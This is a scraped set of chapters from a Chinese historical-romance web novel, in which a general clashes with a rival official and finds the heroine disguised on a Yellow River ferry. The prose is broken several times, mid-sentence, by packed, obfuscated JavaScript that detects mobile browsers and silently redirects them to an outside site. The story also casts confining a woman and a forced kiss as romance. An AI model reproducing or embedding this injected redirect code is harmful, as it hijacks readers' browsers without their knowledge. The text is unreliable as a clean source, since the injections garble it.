l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14539345|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不测,亦须留有后手,以保基业不坠,日后令邵云礼代为雪恨。他还特意嘱托邵云礼,让其将事件始末悉数转告绥靖王时谦。历经俩月波折,尤其是与萧染几次交手之后,时枫愈发觉得时樾之死,与朝廷脱不了干系。 兹事体大,驿丞不敢懈怠,转身正欲退下,忽又被时枫叫住。 “我等下会先行离开驿站,苏姑娘她……” 他停顿了一下,眼神不经意间瞥了一眼上房方向,继续说道:“她醒了以后,尔等须小心伺候,端茶送水、吃喝用度,一项都不得松懈怠慢。知否?” 驿丞点头哈腰,“那是那是。小的绝不敢怠慢苏姑娘。” 时枫又道:“倘若她要出门离去,尔等千万拦着她,就说是遵从我的命令。必要时可将房门上锁,窗户封闭。如果叫她跑了逃了,” 脸色蓦然一沉,“本将军拆了你这平安驿!” “冷面阎罗”骤然发怒,吓得驿丞浑身颤抖,嘴上连连应承:“是是,小的一定严加看管防范。” 时枫摆摆手,示意驿丞下去。 驿丞小心翼翼告辞,心里不禁暗骂:这人果然是个恶霸,光天化日之下,强取豪夺,囚禁良家妇女。他暗自下决心,回头有机会定要上报此事。 办完这些事,时枫忽然感到身心异常困乏疲惫。他匆匆返回房间,见苏绾睡得安稳,心里这才放松下来。 时枫摊开左腿,搭坐床边,倚靠床头,抱着手臂,闭目养神。 迷迷糊糊刚要约会周公,忽然一条玉腿从天而降,直喇喇踢中他满怀,踹得他陡然自梦中惊醒,一脸的冷汗。 睁开眼睛,白皙的脚丫子在面前晃悠,险些踢中面门。气得时枫抓住玉足揉搓一通,差点搓醒主人。 他手里攥着玉足,想到下一次不知何时还能再见,心里顿生一缕离愁别绪。又想到无论是梦中,还是现世,他都不能自由自在地,与她青杖竹马踏破三千红尘,潇洒江湖十过秋,仇恨才下眉头,却上心头。 男人伤感了一阵,掀眸睇着苏绾的睡颜,越看越欢喜,忍不住爬起身,半跪在床上,轻轻地吻她。 蜻蜓点水的一抹,瞬间起了连锁反应,沿着经脉飞速蔓延扩散,拉扯整颗心生疼。 男人兀自挺起腰,利落翻身下床,夺门而出,吩咐驿丞这般那般,骑上踏月匆匆离开驿站。 (未完待续) 80. 争吵 落日解鞍,官道某驿站。 “报——” 温如初的贴身仆从远舟,一路小跑来到上房,躬身立在门外,“启禀少爷,时将军回来了,正在门庭落马。” 房内孤灯耿耿,桌案前端坐户部侍郎温如初。他年芳廿二,一身月白锦袍,芝兰玉树少年郎,皎皎不受尘泥涴。 如玉公子掀眸睨了门外一眼,“知道了,下去吧。” 远舟旋身离开。 房间一角暗处响起人语:“此时他一个人回来,却没有带上苏绾,明摆着就是要将你往陷阱里引诱,你须小心谨慎为妙。” 温如初淡定道:“不急,我且要看看他唱的是一出什么戏码。鸿门宴,还是瓮中捉鳖?” 桃花眼眸翻了翻,嗤笑道:“左不过路上拦截,给我使绊子。我猜,多半是在前方黄河渡口处,埋伏一两刺客,伺机谋杀我。他的侍卫晴雷,不是没跟着他回来么。” 暗处人影却不敢苟同,“我总觉得,事情有些不对劲,这不符合他的一贯作风。” “他何必非与你为敌?眼下你是殿前叱咤红人,一味地与你针锋相对,无论是朝堂官场,还是公序良俗,于他都没有任何好处,他也不占口碑。” “除非……” 温如初接过话茬,“除非,有人急切地想要我死,而时枫不过是做顺水推舟的人情而已。” 暗处人影点点头,“正是如此。” 温如初疑惑道:“可我入仕四年,兢兢业业,不分黑白两道,广结天下英豪,未曾得罪过任何人呀。” 他想了想,补充道:“就连苏绾那个娼妇,我也不曾动过她一根手指头。我对她呵护备至,将她从水深火热的家里拯救出来。我该是她崇拜的神明才对,她恨我什么呢?” 温府那晚所发生的“绑架案”,根本不算僭越与侵犯,顶多就是,他对她的背叛忍无可忍之后,所做的反击,毕竟是她对他不忠在先。 暗处人影思忖半晌,犹豫道:“也许,这一切与你无关……” “与我无关?” 温如初抬眸望向暗处,微弱的烛火夹杂夕阳余晖,冲淡了人影的存在,映照单薄身影若有若无,好似地狱鬼魅般充满了不真实感。 他对于这一猜测性的结论,完全无法理解;也不明白为何自己从小玩到大的兄弟,对他起了杀心;更不懂几个月前还对他唯命是从的未婚妻,居然勾结了别的男人,图谋解除婚约,离开他的怀抱。 他的确怀有相当多的野心,他并不羞于启齿。但他自认为古今英雄豪杰多半所见略同,这并不妨碍他身边的人。为什么突然间所有人都背叛他,与他为敌?而他却像个傻子一样,高高地坐在宝塔尖上,对前程吉凶一无所知。 这一点让他极为愤慨。 屋内陷入无端的沉默,屋外却忽然响起一阵嘈杂声,随后传来咚咚的脚步声,有人朝着房间方向走来。 暗处人影身子一颤,立即以迅雷不及掩耳之势打开窗户,踩着窗沿飞檐走壁,瞬间沉没于黑暗深渊巨口。 温如初适时站起身,趸步行至门前,侧耳倾听屋外动静。 不多时,门外响起深沉的声音:“见我回来,你也不说出门迎接我,越来越不把为兄当回事了。” 温如初额首青筋跳了跳,他深吸口气,换作一副笑颜,展开宽大袍袖,伸手打开房门。门外阴风切切,冷不防被一股寒冷气息扑了满面。 “阿欠。”温如初受那股莫名寒意刺激,忍不住打了个喷嚏。 “瞧榆白这话说的,也忒伤人心。”他一边掏出汗巾捂住口鼻,一边囫囵说道:“我这不是感染了风寒嘛,怕传染给你,刻意躲着不见人。你倒好,跑过来抓我的话柄,好心当成驴肝肺。” 时枫剪着手臂,带着威严的气势,挤过温如初的肩膀,兀自踏入房内。敏锐鹰眼逡巡四周,寻找可疑的蛛丝马迹。 扫了几眼未果,时枫一屁股坐进椅内,伸出两条大长腿,交叠搭放案边。两手抱臂交叉胸前,咬了咬干涸的嘴唇——光顾着风尘仆仆赶路,连口水还没来得及喝上。 他抬起凤眸,冷冷道:“我不在的时候,可有变故发生?” 温如初冷眼睇着男人这一系列动作,全程见怪不怪,他上前两步,端起桌案茶壶,翻出一只新杯,斟满茶水,单手递给时枫,温声笑道:“我能有何变故?此行南下,最大的变故,不就是你嘛,时将军。” 一语道破天机。 温如初擅长以温文尔雅的态度,在朝堂之上舌战群儒,大杀四方。 从前时枫还不觉得如何,只当是他温念一贯如此的表现。如今不知是自己心虚还是怎么着,看他这副温润如玉的模样,简直让人毛骨悚然。 “笑面虎”的威慑力,远远大于“恶罗刹”。 时枫接过茶盏,杯内水已温凉,他咕噜几下豪饮一空,随手将茶盏丢掷案边,没好气似地抱怨道:“我怎么了?不就是替你去前方探路了么。你当我这随行护卫吃白饭?尸位素餐的龌龊事,本将军可干不出来!我这一路跋山涉水,也没人问候我一声累不累,我才是好心当成驴肝肺。” “哦?竟然还是我的不对。”温如初桃花眼眸闪了闪,笑道:“那么时将军此行探路,可有收获?” 时枫嘴角斜了斜,“当然。” 摩挲束腕间镶嵌的绿松石,漫不经心道:“我替你,寻回了未婚妻。你可知道?” 温如初眼角抽动了一下,对方竟然不按常理出牌,大大出乎意料。倘若时枫一口咬定自己未见苏绾,他立即拿出证据,狠狠摔在他脸上,再治其假公济私的罪名,御前告他一状。谁知对方完全不接招,还抢先主动揭露事实真相,让他瞬间掉落入被动局势。 太小看他了。 温如初袍袖一甩,横眉冷目,“你还有脸承认?天下皆知,你对我的妻,起了觊觎之心。背后插刀,横刀夺爱。你、你好大的胆子!” “我对你冰心玉壶,肝胆相照,处处照会你,忍耐你的臭脾气。京城谁人不知,谁人不晓。可你呢?你又是怎么对我的?” “你骑到我的脖子上来,公然对我进行羞辱挑衅。你真当我拿你没办法?我那是对你念旧情!要不是看在咱们二十年兄弟情谊的份上,我一早将你告上金銮殿。” 灯火映着温如初惨白的面颊,显得他越发憔悴忧郁,全无往昔意气风发,峥嵘岁月之色。 倒显得时枫,是个背信弃义的小人。 倘若今生没能遇见苏绾,他与温如初之间,毫无疑问,根本不会走到破裂地步。 可谁让他被苏绾那个蛇蝎美人彻底降服了呢,他心甘情愿沦为裙下臣。为心爱之人两肋插刀,本就是天经地义。天王老子来了,他也理直气壮。 又或者按上一世论,苏绾之所以沉沦堕落,还不都是温如初造成的?对方才是罪魁祸首,万恶之源,轮不到一个恶鬼来指责自己的过错。 时枫问心无愧。 男人嗤笑一声,“你的妻?不要忘了,你们尚未成亲。一纸婚约,随时取缔,没有任何束缚力。你当是户部尚书梁才,与殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14581969|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潜布政使合力保荐,圣上亲笔赐婚,就是板上钉钉了吗?笑话!我也可以请人推荐,以我的军功来恳求圣上,重新考虑赐婚,圣上未必拒绝我。皇储尚可立了再废,我与她,男未婚,女未嫁,有何不可?” 他放下双腿,坐正身子,正色道:“我今日过来与你对话,不是要向你请求谅解,也并非想跟你握手言和。我是要让你知道,苏绾,我娶定了。” “你同意也好,反对也罢,本将军并不在意。念在旧日兄弟情分,我尚且知会你一声,不要做我的绊脚石,否则我对你不客气!” 啪的一下,拳头砸向桌案,震荡案边笔墨纸砚摇晃,不明就里的还以为是地动。 温如初桃花眼眸翻了翻,眸底泛出一层狠戾之色,再也不藏着掖着,全然换了阴冷表情。 月白锦袍一甩,如玉公子狠声道:“很好!时榆白,你敬酒不吃吃罚酒,既已撕破脸皮,我也不必再照顾你的颜面。你不是想娶苏绾?有我温如初在朝一日,你便得不到任何机会,我不会让你得逞的。” “真当自己天不怕地不怕,天塌下来有你爹绥靖王撑着?试问一句,朝野上下,有谁在乎一个‘罪王世子’。你怕是不知道吧,朝廷就没想让你活太久!我告诉你,早晚有一天,时家会彻底倒台,以罪人身份淹没于史书角落。” “率土之滨,从来没有属于姓时的那一份,从前如此,现在如此,将来亦如此!” 他这一席话,看似激愤脱口而出,实则充满了阴谋的味道,尤其是在时枫已经知晓,关于温如初密谋阁老害死时樾的真相之后。 萧染所言,句句属实。 真相其实很简单,清晰明了,很好。 下一步,就是要查清,朝廷谋害时家的真正原因。以及温如初在其中,究竟扮演了什么角色。 据梦中所述,“他”听信了温如初的谎言,误以为阁老出于私心,为夺权而设计害死时谦时樾。而他也亲手斩杀阁老,得以为父兄报仇雪恨。 看似圆满成功,但那只是上一世的轮回,未必就是这一世的因果报应。而且他私以为,梦里的那个“他”,受人愚弄,混淆是非,做了错误选择,造成终身遗憾,是以才会托梦给他,目的就为拜托他查清楚事情真相。 所以他才会夜半造访温如初,故意出言不逊激怒对方,就为了套取有利用价值的线索。他拿准了温如初不知道自己暗中探察时樾死因,否则也不会从头到尾都没提过关于萧染的一句话。 此行不虚。 时枫撇撇嘴,揶揄道:“真是笑死人了。你一个‘翰林独苗’,一路靠着阿谀奉承,溜须拍马混到高位,又能比谁的屁股更干净?江山当然不属于时家,可也不属于你,我的侍郎大人。” 他起身站起,抖抖玄色衣袖,一脸得意道:“我已秘密差人将苏绾送往京城,你莫要对她再起强占的心思,对谁都没有好处。此行南下,只好委屈你一下,与我这个‘罪王世子’常相伴左右。反正我的任务,也只是护送你到杭州而已,又不是为你寻找未婚妻。” 言毕,再次挤过温如初的肩膀,决绝甩袖夺门而出。 气得温如初拾起案边的茶盏,咣当一下掷地有声。又不解恨,干脆将茶壶一应掷了,溅得满地洇湿。 远舟连忙赶上前,一边收拾现场,一边招呼仆役打扫干净。 满地碎矶,破镜难圆。 一如他与时枫的兄弟情谊,终将随风而逝。 温如初咬了咬牙,耳语吩咐远舟道:“转告先生,渡河之时,大计业成。” 81. 登船 鱼笺雁书,星奔川骛。 经过了两日的长途跋涉,南巡队伍终于抵达黄河泺口渡。 温如初似乎并不急着赶路,他在驿站延迟了大半日,附近游山玩水,赏月观花,优哉游哉,不亦乐乎。惹得时枫整日阴沉着一张黑脸,走路都带着劲劲冷风。 自从经历了那晚争吵以后,俩人开启了新一轮的冷脸竞争,谁都不跟谁说话。夹道相逢时,彼此都转过头去,互相嗤之以鼻。 时枫唯恐苏绾在驿站里等不及,再闹出点什么乱子。那个疯婆娘,绝对是天底下最不听话,脾气最倔,最爱跟他对着干的人。他一边日思夜想怀念她,另一边又担心她吃不好睡不好,再生出病来。各种情绪堆积在心里,不得抒发排解,每日里唉声叹气,可又拿任何人都没办法。 好不容易挨到渡口北岸,时枫总算能找到机会外出透透气。他打着探路的名义,纵马来到船埠,照旧将踏月栓到一棵枣树前,自己下马四处巡察。 上次来时,天色已趋近傍晚,再加上他心急如焚,也没能静下心来欣赏周遭景色。 七月的黄河渡口,骄阳似火,河水滚滚东流。两岸柳树低垂,绿荫下是往来的客商和行人,他们或挑着担子,或牵着马匹,脸上挂着汗水和对旅途的期待。 官渡旌旗招展,船只排列有序,官差们身着制服,指挥渡河的秩序。船夫们赤膊上阵,号子声声,将沉重的货物搬上船板,稳稳地驶向对岸。 民渡则更显热闹,小贩叫卖声此起彼伏,商埠里各色货物琳琅满目,从江南的丝绸到塞北的皮草,一应俱全,应有尽有。 渡口边茶馆酒肆林立,客人们或歇脚或交易,个个谈笑风生。忙碌的工人穿梭其间,肩挑手扛,汗水浸透了衣衫,干脆脱下露出矫健的肌肉。偶尔一队马帮缓缓行来,铃铛声清脆,为这繁忙的渡口增添了几分异域风情。 按照秦欢与他之前的约定,山东境内三个渡口的所有往来船只,无论属于官渡民渡,全部都在秦欢掌控之中。这一举措看似简单易行,实则揭露出秦欢强大的关系网与控制力。 缔造这种程度的关系网络,绝非一朝一夕达成,须得经过数年周密的筹谋划策,身边还要有得力的助手辅佐之。 这其中小侯爷萧染,便是第一颗棋子。 目前他尚未梦到过有关萧染的信息,因此对于秦欢如何拉拢的萧染,尚且不明。但他相信,萧染在整个事件策划中,起了决定性的作用。 “毒蛇堂”乃漕帮,自古以来便控制全国的漕运命脉。官渡民渡,黑白两道,都逃不过与毒蛇堂打交道的命运。胆敢夸下海口,声称掌控齐鲁漕运权,绝非一件容易之事。 他有理由怀疑,秦欢从一开始就做好了万全准备,在黄河渡口与温如初一决高下。 问题是,秦欢如何精准算到这一步? 最早是在去年年底,皇帝允了温如初下杭州监察茶叶税收的请求,这才开始了南下的筹备。 倘若温如初根本不打算南下杭州,那秦欢在黄河渡口布阵列兵,岂不完全失去了意义? 正犹豫间,忽然旁边有人打招呼:“官爷,可要摆渡?” 时枫抬首一看,面前之人四十岁左右,下巴一缕山羊胡,眼神提溜乱转,显得精明能干。 时枫不耐烦地摆摆手,“没兴趣。” 温如初绝不可能登上他所预备的渡船,因此他也懒得过问促成此事。 爱上哪条船,就上哪条船。 他只答应了,堵住猎物的逃路,可不负责设计陷阱引蛇出洞——那是秦欢的买卖。 谁知山羊胡神秘道:“官爷,我们家的船只,跟别家不一样,我们有人。” 时枫一听,便知对方有猫腻,心想:秦欢啊秦欢,原来你就这点本事。光天化日往他怀里递情报,一点暗探的职业素养都没有。 可他偏不买账,蓦然脸色一沉,嗔道:“有什么人?难道你想密谋造反不成?好大的胆子!不怕本将军拿了你送大牢?” 山羊胡不急不躁,嘿嘿一笑,低声道:“此人来自平安驿……” 话声刚落,男人猛然伸手,迅雷不及掩耳之势掐住山羊胡的喉咙,手臂青筋爆裂,将对方生生提高离地半寸距离。 男人恶狠狠道:“你再说一次!” 山羊胡面皮涨得通红,渐渐变成紫色,他拼命挣扎捶打,声音嘶哑道:“小、小的不敢诓骗官爷……” 时枫道:“人现在哪里?” 山羊胡道:“在、在颜家野渡。” 时枫命令道:“带我去找他。” 山羊胡道:“好、好。” 时枫见他答应得干脆,也便顺势放松警惕。 谁知甫一释放手指,但见山羊胡拔腿向后一跳,像只水耗子一样滋溜钻进人群,顷刻间人影全无。 男人急了,疾步上前伸手去抓,却只抓了一个又一个无辜面孔。 他障袂极目远眺,拼命搜寻可疑痕迹。 此人衣着朴素,相貌平平,与普罗大众毫无不同。男人敏锐的鹰眼,此时也失去效力,茫茫人海中遍寻不到踪迹。 剩下时枫鹤立鸡群。 她出事了。 他的心里七上八下,充满了不祥的预感。他不断地告诉自己,不会有事的,她不会有事的。可那可怕的思想一旦形成,再想从脑袋里排挤出去,难于上青天。 温如初见到他时,时枫像一棵饱受风霜摧残的枯树,直立在太阳底下,灵魂已然飘出身外。 温如初感到有些意外,桃花眼眸剪了剪,揶揄道:“难得出去透透气,怎么回来一具空壳。” 时枫低下头,茫然道:“你说什么?” 车水马龙,人流如织。 渡口驿站内,温如初坐在楠木椅休憩,衙役送上一盏趵突泉水沏泡的春茶。 驿丞弓着腰,问道:“大人,官渡已准备完毕,随时可启程出发。” 温如初呷了一口温茶,阖眼冥思一阵,掀眸道:“可有其他渡口?” 驿丞眨巴眨巴眼,连声道:“有、有的,稍候片刻。” 不多时,案前摆放几块木牌,上面写着“官渡”,“民渡”,“野渡”等字样,且都标注了船家姓名。 驿丞一一介绍道:“泺口的船户大部分都在这里,全部经过府衙审核,符合官渡标准要求。请大人随意挑选,挑中哪家,下官即刻发布公告,以防有人投机取巧。” 温如初瞥了一眼立在前庭的时枫,但见他眉头紧锁,眼神不住地逡巡,似乎在寻找什么。 温如初沉吟片刻,将盛放木牌的金碟向前推了推,吩咐道:“拿去给时将军看看。” 时枫此刻正忙于在人群中寻找山羊胡,对方既然提到“平安驿”,势必冲着南巡队伍而来,则必会前来投标摆渡。可他仔细搜寻七八十个来回,也未曾发现山羊胡的踪影。 他感觉事情有些不对劲。 倘若这一切都是秦欢事先安排好的计划,旨为引诱他上钩,那他岂不是自投罗网? 驿丞端过金碟呈上,“请将军过目。” 时枫扫了一眼金碟,敏锐的目光立即落在其中一枚木牌之上,上面写着“野渡,颜家”字样——他依稀记得山羊胡似乎曾经提及这四个字。 时枫沉思半晌,拈起木牌,交给驿丞。 驿丞唱道:“将军选了颜家野渡。” 温如初掀眸凉凉睇着立在前庭的男人,嘴角浅浅勾起,“诚然如此。” 南巡队伍开拔,很快即到达村郊野渡。但见云梢雾末,溪桥野渡,尽是春愁落处。 所谓“野渡“,即为荒郊野外无人看管的渡口。堂堂户部巡抚侍郎南下,竟然选择另辟蹊径走野渡,而不是亦步亦趋走官渡,也是让驿丞惊得合不拢嘴。 巡抚,官制从二品,加兵部侍郎衔者为正二品。秉承先帝遗训“巡行天下,安抚军民”,出巡派出的均是品级较高的文职京官,由于巡抚多由各部侍郎充任,因此通称为“巡抚侍郎”。 温如初此行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623156|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南下,携家丁、辅臣、随军护卫等共计一百二十余人,分三条漕船同行。主船处正中间位置,由巡抚侍郎和京卫指挥使共同搭乘,伴随十余名家丁、保镖、杂役等人;左右两艘摆子船,搭载随军护卫部队,以及低等级的官员辅臣。 船老大身材魁梧,面色黝黑,粗布麻衣装束,常年的风吹日晒打造出一身健硕的肌肉。 他上前跪地拜道:“颜家渡三十余名船夫,恭迎巡抚大人!” 温侍郎微微颔首,“大约多久能渡河?” 船老大道:“天晴无风时,须半个时辰;暴雨滂沱时,大约一两时辰。” 温如初举首望青天,但见万里无云,风和日丽,悦色道:“不错,那么出发吧。” 随着船老大一声令下,三艘漕船同时断开缆绳,缓缓向河中岸推进。 主船实为游船改造,分上中下三层,船身由楠木打造,船体气势恢宏,富丽堂皇,令人不免惊叹:小小颜家野渡,竟能拥有如此气派的船舫。 温如初上了船,径直进入主客房休息,叫了远舟一人伺候,还让船夫传话给时枫:“闲人莫要打扰。” 时枫才懒得搭理他,此刻他借着护卫的名义,四处溜达察看船舫。 很快就发现了可疑之处。 包括船老大在内,船上共有船员二十人,除了一名老婆子以外,其余皆为身强体壮的船夫。 船老大,这个皮肤黝黑、满脸风霜的中年汉子,站在船头,目光如炬地注视着前方的水流,手中的舵杆沉稳有力,每一次转动都显得自信而坚定。他的声音洪亮而富有节奏,指挥着船上的其他船夫。 “拉紧风帆,风向变了!”他大声喊道,声音在河面上回荡。 其中一位年轻的船夫,身手敏捷,听到命令后立刻跳到桅杆下,手脚并用地攀爬而上,像一只灵巧的猴子。他迅速地调整着帆布,让帆布鼓满了风,渡船的速度也随之加快。 在甲板的另一侧,船夫正忙着检查船舷的绳索,他的双手布满了老茧,每一次触摸都显得那么熟练。他的眼神专注,确保每一根绳索都牢固可靠,这是对船上所有人安全的承诺。 “注意船尾水势,别让浪头打翻了货物!”船老大头也不抬地提醒着。 身材魁梧的青年船夫,正站在船尾,手持长篙,随时准备应对突发的浪涌。他的身体随着船身的起伏而微微晃动,但手中的长篙却稳如泰山,每一次点水都精准无比。 船婆子正忙着在甲板上穿梭,她的任务是确保乘客的安全。 “请大家坐稳,不要随意走动。”船婆子一边说着,一边帮助乘客固定好位置。 时枫双臂交叉,立在船舷上观察了半晌,越来越觉得船婆子行为举止可疑。 但见船婆子体态轻盈,步伐敏捷,穿梭于船舷甲板上游刃有余。再加上此女嗓音细腻,谈话落落大方,也不见寻常老百姓的粗鄙狂言。总之,她根本不像是五十多岁的老妪,倒像是二三十岁的少妇。 船婆子安置妥当乘客们,转身进入船舱打理客房,时枫悄悄地尾随其后。 正当那婆子来到夹道尽头,四处察看无人,俯身拾掇杂物之际,时枫陡然扑上前,将船婆子扑倒在地。 船婆子惊慌道:“怎么回事?发生什么事情了?” 时枫冷笑道:“哼,还在装蒜,你以为我看不出来你的伪装吗?” 船婆子挣扎道:“老婆子实在不知,官爷所言为何啊!” 时枫简直要被她笑死,他揪着老婆子的后脖颈,凑近耳际道:“小东西,还跟我装模作样,找打是不是!” 言毕,抬起手掌,朝着船婆子的后臀,使劲扇了一巴掌。 支棱着耳朵,倾听船婆子的反应。 船婆子咬嘴小声哭泣。 男人嘴角一斜,“服气了没?” 忽然身后响起一声熟悉的嗓音,带着一丝讶异与揶揄:“你在这里搞什么鬼!” 男人全身的血液,霎时间全部凝固在血管里。 82. 逃跑 时枫机械般地转过头,却见身后站着一位长相俊美的年轻杂役,身穿粗布衣裳,脚蹬蒲草鞋,歪着脖子正朝他这边看。 那双灵眸流转,早已在他心里镌刻成诗,成为永远颠簸不破的真理。 “时大将军,请问您这是要做什么?”杂役吐了吐舌头,俏皮道。 时枫咽了口水,默默地跳起身,拍了拍身上的尘土。 他看了看被他压倒的船婆子,她正努力挣扎着爬起来,但心有余而力不足。 时枫俯下身子,两手抓着船婆子的肩膀,将她“扶”起身站稳。 船婆子仍一脸惊恐,“这、这是怎么回事?我老婆子没做任何违法之事啊。” 杂役笑道:“颜大娘,您莫责怪他,他准是瞎了眼,认错人了。” 转头瞟了一眼时枫,“还不快跟颜大娘道歉?” 时枫被她搞得丈二和尚摸不着头脑,然而脸面实在不好意思,只好跟着她的语气,低头木讷地道歉:“对不住了,颜大娘。” 船婆子见威武不屈的大将军,亲自向她道歉,心里的怨怼早已烟消云散,她拍了拍手道:“咱们坐在一条船上,何必计较那么多。将军有什么需求,尽管吩咐老婆子,颜家渡全家听候您的差遣。” 原来船婆子是颜家渡的老板娘,平日里见多识广,乃女中豪杰,混迹渡口四五十年,徐娘半老,才会被时枫看错。 二人送走船婆子,杂役也想开溜,说道:“那我也下去干事了。” 结果,还未来得及转身,就被时枫拎着衣领,丢进夹道旁边的杂物间。 一进门,杂役就被男人手掌稳稳地固定在墙壁上,疼得她身子不由得一僵,声音颤抖道:“你……你不能这样。” 男人没有回答,只是用那双深邃的凤眸紧紧地锁定她,仿佛要将她全部吞噬。他的唇角勾起一抹自信的弧度,然后,他的头缓缓低了下来,湿热的唇紧紧贴上她,展开全面的进攻袭击。 她的心跳如擂鼓,她想要推开他,双手却在他的胸膛前无力地推拒。 他的吻强势而霸道,不容她有丝毫的反抗。她的唇被他牢牢地占据,舌尖强势地撬开贝齿,长驱直入,探索着每一个角落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624461|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她的身体微微颤抖,反抗渐渐变得无力,呼吸急促而混乱。他的吻如同狂风暴雨,席卷着全身感官,让她无处可逃。 男人手臂紧紧地环绕着她,几乎将她揉进自己的身体。他的吻变得更加深入,更加热烈,仿佛要将她的灵魂都吞噬。 葱指不自觉地抓住了玄色衣襟,反抗最终变成了无力的拉扯,身体也在他的怀抱中逐渐软化,直至她彻底被他控制,折服,融化。 阳光透过舷窗,斑驳地洒在狭小的隔间内,空气中弥漫着靡靡气氛。门外船夫的号子此起彼伏,伴随着河水浪花朵朵。 时间紧迫,男人不得不停止进一步袭击,哑声道:“谁让你跑到渡口来的?你知不知道这里有多危险?很快就会发生一场你死我活的斗争,你不要命了吗!” 苏绾被他吻得意乱情迷,胡乱答道:“我知道啊,可我不能眼睁睁看着你一个人去送死。你不是答应了我,要守我一生一世,怎么说话不算数呢!” 时枫蓦然一愣,他呆呆地睇着苏绾,茫然道:“你说什么?” (未完待续) 83. 对决 江河浩瀚,波浪滔滔。 时枫自杂物间夹道出来,一路上步履迟缓,眉宇间笼着不易察觉的阴翳,心绪似黄河流水,表面平静,底下翻涌着隐秘的暗流。 倘若此行独他一人,他倒不惧生死。世事如棋,局局皆险,他早已习惯危局中寻求生机。 秦欢要起事,他自当全力辅助。可他并未承诺亲手结果温如初的性命,这与他筹谋的复仇大局无关。待温如初落网后,他会亲自回京觐见圣上,沉冤昭雪,为时樾讨回公道。 人生不如意,十有八九。 如今船上多了一个苏绾,他不可再随性而为。苏绾如一片飘摇的羽毛,轻得叫人不忍放手,却也轻得禁不起任何风浪。倘若这场厮杀波及苏绾,他便纵死也难脱其咎。 也许,他该隔岸观火,冷眼旁观秦欢与温如初二虎相争,拼个你死我活。到万不得已之时,他再弃舟而逃,带着苏绾远离滔天风浪,方为上策。 心中有了计较,时枫故意绕过主厅,转去甲板假意看风景。黄河风急,吹得衣袂猎猎,水天相接处,一片苍茫浩荡。 忽然迎面走来一个人影,那人满脸堆笑,低声道:“将军当去主厅,那里视野开阔,景致绝佳。” 时枫抬眸一瞥,哦,这不是晌午被他锁喉的那个山羊胡吗?男人眸光一沉,抬手揪住山羊胡的衣领,将其狠狠摁在船舷靠背上。 船身微微晃动,山羊胡被撞得一阵咳嗽,连连告饶:“服了,服了!将军饶命!” 时枫薄唇紧抿,眉目间冷意森然,“你也敢在本将军面前出现?今日若不叫你付出代价,本将军便是白活了!” 山羊胡被摁得喘不过气,哭道:“冤枉啊,将军!小的不过奉命行事,一切都是苏姑娘的意思,小的只是个传话筒!” “苏绾?”时枫一愣,冷声道:“说清楚!” 山羊胡将事情经过从头到尾和盘托出,连苏绾如何以言语威逼,如何策划局势,都一五一十讲了出来。他声音不高,却被风裹挟着,落在时枫耳中如重锤击鼓,久久不散。 时枫微微松手,眼底的冷意渐渐化开,取而代之的是一抹意外的赞许。他唇角挑起一丝弧度,带着几分说不清的骄傲与讽刺。 “疯婆娘。”他在心里暗骂一句,眸底有细碎的光亮在流动,“竟有这样的胆识与谋略……” 有勇有谋,果断决绝,不愧是他的女人。 既然她主动选了这条不归路,他怎么好意思畏首畏尾。他该抡圆肩膀,助“妻”一臂之力,否则枉为人“夫”。 男人抬手拍了拍山羊胡的肩膀,不冷不热道:“所以,你们的意思是,让本将军去主厅做饵,对吧?” 山羊胡怔了怔,似懂非懂地点点头:“将军明察。确保主厅只有将军二人,外厢将封锁一切逃路,一旦将军控制住局面,我等即起兵,届时将贼人一举拿下。” 时枫轻哼一声,面色似笑非笑,“也罢。本将军在外,一般不听人号令,谁让你们受命于夫人呢。” “啊?”山羊胡一时反应不过来,嘴巴微张,神色错愕。 时枫挥挥手,懒得再理会,迈步向主厅而去。他身影挺拔,步伐沉稳,衣袍被风卷起,似一面猎猎招展的旗帜,仿佛正预示着一场风云乍起的战局。 * 帏绣成栊,雕梁画栋。 主厅果然是个好地方。船身中央开了扇巨大的落地门,门外江水滔滔,奔流不息,仿佛能带走人世间的所有喧嚣。阳光透过门扉洒入,将室内映得亮堂堂,四处的装饰皆显奢华,红木家具雕花精致,地毯绣金丝银线,连檀香都是上好的。 时枫一进门,环顾四周,忍不住砸了砸嘴,冷嗤道:“我说你怎么一上船就赖在这里不出来,原来是爱上了这股荣华富贵的假象,你还真是改不了这奢侈的臭毛病。” 